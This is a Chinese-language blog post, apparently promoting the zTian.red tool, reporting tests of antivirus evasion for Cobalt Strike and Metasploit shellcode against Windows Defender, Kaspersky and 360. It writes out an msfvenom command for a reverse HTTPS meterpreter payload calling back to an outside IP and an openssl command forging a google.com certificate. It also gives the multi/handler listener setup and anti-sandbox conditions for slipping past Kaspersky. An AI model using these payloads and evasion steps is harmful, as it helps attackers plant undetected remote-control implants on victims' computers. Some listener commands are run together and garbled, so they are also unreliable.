遮天 | 实战绕过卡巴斯基、Defender上线CS和MSF及动态命令执行...

# zTian.red：绕过卡巴斯基、360安全卫士、Windows Defender动态执行CS、MSF命令...

测试目标：Windows Defender、卡巴斯基、360安全卫士极速版

系统环境：win10 64位   

软件版本：cs4.7破解版、msf社区免费版 

流量通信：http与https

测试平台：遮天对抗平台，地址：zTian.red

测试时间：2022-11-16

一、Cobalt Strike ShellCode免杀测试：

开始：

使用默认无修改teamserver配置，直接运行服务。

添加两个监听，然后生成payload文件。导出payload时文件类型可以选择C、Java、Python。

打开遮天对抗平台，选中要进行测试的payload文件。

选中payload，填入获取到的私钥，然后提交任务。

先各生成一个免杀文件：

DZoOQslVhc.exe（http）、hYyeYdAoHS.exe（https）

测试绕过360安全防护：

另一台s安装360安全卫士极速版的测试终端在下载好生成的文件之后直接被告警。

下载使用http流量的程序，没想到却无任何反应。

云查杀无异常且可以动态执行命令。

测试绕过Windows Defender：

在Defernder下，http和https静态都未被警告。测试运行http类型，被提示病毒。

运行https，未被拦截，且可以执行命令。

测试绕过卡巴斯基：

不愧是卡巴斯基，直接就给我删掉了。依稀记得前几个月还没有给我拦截呢。

重新提交任务，勾选智能反沙箱。

再次扫描成功绕过。

只是反沙箱模块需要诸多条件，如：禁止修改文件名、系统开机时间大于十小时。由于测试机子时间不满足，重新在主机器安装卡巴斯基，测试动态能力。

经过十几秒的等待，成功上线。执行命令，完美响应

总结

360安全卫士静态识别出了https类型程序，没有检测到http类型程序。

Windows Defender静态均未检测到，动态检测到了http类型程序，并且做了拦截。对https类型没有检测到，且动态可以正常执行命令。

卡巴斯基均查杀，开启反沙箱之后成功绕过。注意反沙箱模块禁止修改文件名称，并且系统开机时间需要大于十小时。

二、MSF免杀测试：

 由于我对MSF用法不是那么熟悉，以下仅测试一种方案：

使用windows/shell/reverse_tcp生成的shellcode连接时候流量被检测到，直接拦截，

使用ssl加密流量测试绕过。先生成证书，执行命令：

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \-keyout www.google.com.key \-out www.google.com.crt && \cat www.google.com.key www.google.com.crt>www.google.com.pem && \rm -f www.google.com.key www.google.com.crt

之后在绝对路径可以看到证书文件

再执行命令生成payload：

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=172.21.194.45  LPORT=8789 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f c

生成完毕之后进入msf控制台执行监听命令：

use exploit/multi/handler set payload windows/meterpreter/reverse_winhttpsset lhost 0.0.0.0set lport 4444set HandlerSSLCert /home/kali/google.pemset StagerVerifySSLCert true set IgnoreUnknowPayloads trueset exitonsession falseexploit

复制shellcode的主要内容部分，新建一个文件将之写入，然后传入遮天对抗平台进行生成。

生成后直接执行，获取到session

使用进入meterpreter之后完美执行命令且无拦截。

扩展：识别Anti Virus进程方式：

执行命令“TASKLIST /SVC”  然后将得到的结果粘贴至下方识别栏里进行识别。

识别出卡巴斯基。

项目地址：github.com/yqcs/zhetian​